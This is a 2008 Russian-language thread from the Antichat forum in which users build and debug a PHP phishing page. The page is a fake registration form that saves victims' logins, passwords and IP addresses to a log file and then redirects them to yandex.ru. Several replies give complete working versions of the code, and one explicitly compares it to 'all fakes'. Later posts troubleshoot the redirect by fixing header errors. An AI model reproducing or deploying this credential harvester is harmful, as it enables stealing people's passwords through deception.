Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Запись данных в файл и переход! |

20.04.2008, 20:44
|
|
Познающий
Регистрация: 15.03.2007
Сообщений: 39
Провел на форуме: 132616
Репутация:
10
|
|
Запись данных в файл и переход!
Есть такой код:
PHP код:
<?
global $login;
$filename = "log.php";
function reglog() {
global $filename, $login, $pass, $REMOTE_ADDR;
$d = date("d.m.Y - H.i.s");
$str = "
Login $login
Password $pass
IP $REMOTE_ADDR
Date $d";
$f = fopen($filename, "a");
fwrite($f, "$str\n");
fclose($f);
}
if ($login) reglog();
?>
<form action="" method="post" name="f">
<tr>
<td width="25%">Login</td>
<td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" maxlength="15" name="pass" style="width: 250"></td><br>
<tr>
<td>Password2</td>
<td><input type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Register"><br>
</td>
</tr>
</form>
Как сделатьчтобы после нажатия н кнопку пользователь переходит на определенный сайт?
например action="http://ya.ru/" неработает! точнее работает но данные из форм не пишутся в файл!
|
|
|

20.04.2008, 20:59
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
1. Проверь права на запись
2.В коде исправь:
PHP код:
$str = "
Login ".$login."
Password ".$pass."
IP ".$REMOTE_ADDR."
Date ".$d;
Будет работать, если регистр глобалс on иначе везде надо POST['login'], POST['pass'].
|
|
|

20.04.2008, 21:00
|
|
Познающий
Регистрация: 15.03.2007
Сообщений: 39
Провел на форуме: 132616
Репутация:
10
|
|
А права на запись какие?
|
|
|

20.04.2008, 21:05
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сообщение от -=Dem0n=-
А права на запись какие?
666 ставь
PS http://faq.advancedhosters.com/chmod.html
У тебя вообще файл не создаётся?
|
|
|

20.04.2008, 21:05
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
дык запиши данные файл а потом переадресовывай, как на всех фейках.
А не пишется ещё потому что функция ничего не возвращает
PHP код:
<?
global $login;
$filename = "log.php";
function reglog() {
global $filename, $login, $pass, $REMOTE_ADDR;
$d = date("d.m.Y - H.i.s");
$str = "
Login $login
Password $pass
IP $REMOTE_ADDR
Date $d";
$f = fopen($filename, "a+");
fwrite($f, $str."\n");
fclose($f);
header('location: http://yandex.ru');
return true;
}
if ($login) reglog();
?>
<form action="" method="post" name="f">
<tr>
<td width="25%">Login</td>
<td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" maxlength="15" name="pass" style="width: 250"></td><br>
<tr>
<td>Password2</td>
<td><input type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Register"><br>
</td>
</tr>
</form>
Но я бы на твоём месте этот скрипт сделал совершенно по-дургому, т.к. твой метод считаю корявым)
я б сделал вот так:
PHP код:
<?php
function reglog($filename, $login, $pass)
{
$d = date("d.m.Y - H.i.s");
$addr = getenv('REMOTE_ADDR');
$str = 'Login '.$login."\n";
$str .= 'Password '.$pass."\n";
$str .= 'IP '.$addr."\n";
$str .= 'Date '.$d."\n";
$f = fopen($filename, "a+");
fwrite($f, $str."\n");
fclose($f);
header('location: http://yandex.ru');
return true;
}
$filename = 'log.txt';
if (isset($_POST['go'])) reglog($filename, $_POST['login'], $_POST['pass']);
?>
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
<tr>
<td width="25%">Login</td>
<td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" maxlength="15" name="pass" style="width: 250"></td><br>
<tr>
<td>Password2</td>
<td><input type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Register" name="go"><br>
</td>
</tr>
</form>
Так мне больше нравится))
Последний раз редактировалось .:EnoT:.; 20.04.2008 в 21:08..
|
|
|

20.04.2008, 21:10
|
|
Познающий
Регистрация: 15.03.2007
Сообщений: 39
Провел на форуме: 132616
Репутация:
10
|
|
Большое спасибо! 
Хотел сделать фейл но вот такая ошибка:
Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\123.php:11) in Z:\home\localhost\www\123.php on line 103
Последний раз редактировалось -=Dem0n=-; 20.04.2008 в 21:32..
|
|
|

20.04.2008, 21:34
|
|
Познающий
Регистрация: 15.03.2007
Сообщений: 39
Провел на форуме: 132616
Репутация:
10
|
|
103 это какраз header('location: http://yandex.ru/');
|
|
|

20.04.2008, 21:58
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
немогу модифицировать информацию заголовка, заголовки уже отправлены, смотри как юзать header тут: http://php.su/functions/?f=header&choice=info
Помните, что header() обязана вызываться до отправки любого вывода: нормальными ли тэгами HTML, пустыми строками в файле или из PHP. Очень частой ошибкой является чтение кода функциями include() или require(), или другой функцией доступа к файлу, и наличие пробелов или пустых строк, которые выводятся до вызова header(). Та же проблема возникает при использовании едингого PHP/HTML-файла.
PS Вообщем ставь php-код в самое начало страницы.
Последний раз редактировалось -=lebed=-; 20.04.2008 в 22:02..
|
|
|

20.04.2008, 22:07
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
в самое начало скрипта вставляешь ob_start(); в самый конец ob_end_flush(); и будет тебе счастье.
|
|
|

20.04.2008, 22:16
|
|
Познающий
Регистрация: 15.03.2007
Сообщений: 39
Провел на форуме: 132616
Репутация:
10
|
|
Сообщение от .:EnoT:.
в самое начало скрипта вставляешь ob_start(); в самый конец ob_end_flush(); и будет тебе счастье.
Всеравно не получается!
где именно вставить?
Последний раз редактировалось .:EnoT:.; 20.04.2008 в 22:27..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|